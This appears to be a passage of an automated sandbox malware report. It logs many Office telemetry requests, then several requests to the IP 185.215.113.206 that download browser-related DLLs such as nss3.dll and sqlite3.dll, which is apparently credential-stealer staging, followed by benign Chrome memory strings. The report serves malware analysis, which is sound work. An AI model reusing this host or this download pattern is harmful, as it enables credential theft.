Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache

Source: chrome.exe, 00000001.00000003.1823453279.00001F3C00F3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1823399027.00001F3C00F64000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1823494208.00001F3C00394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
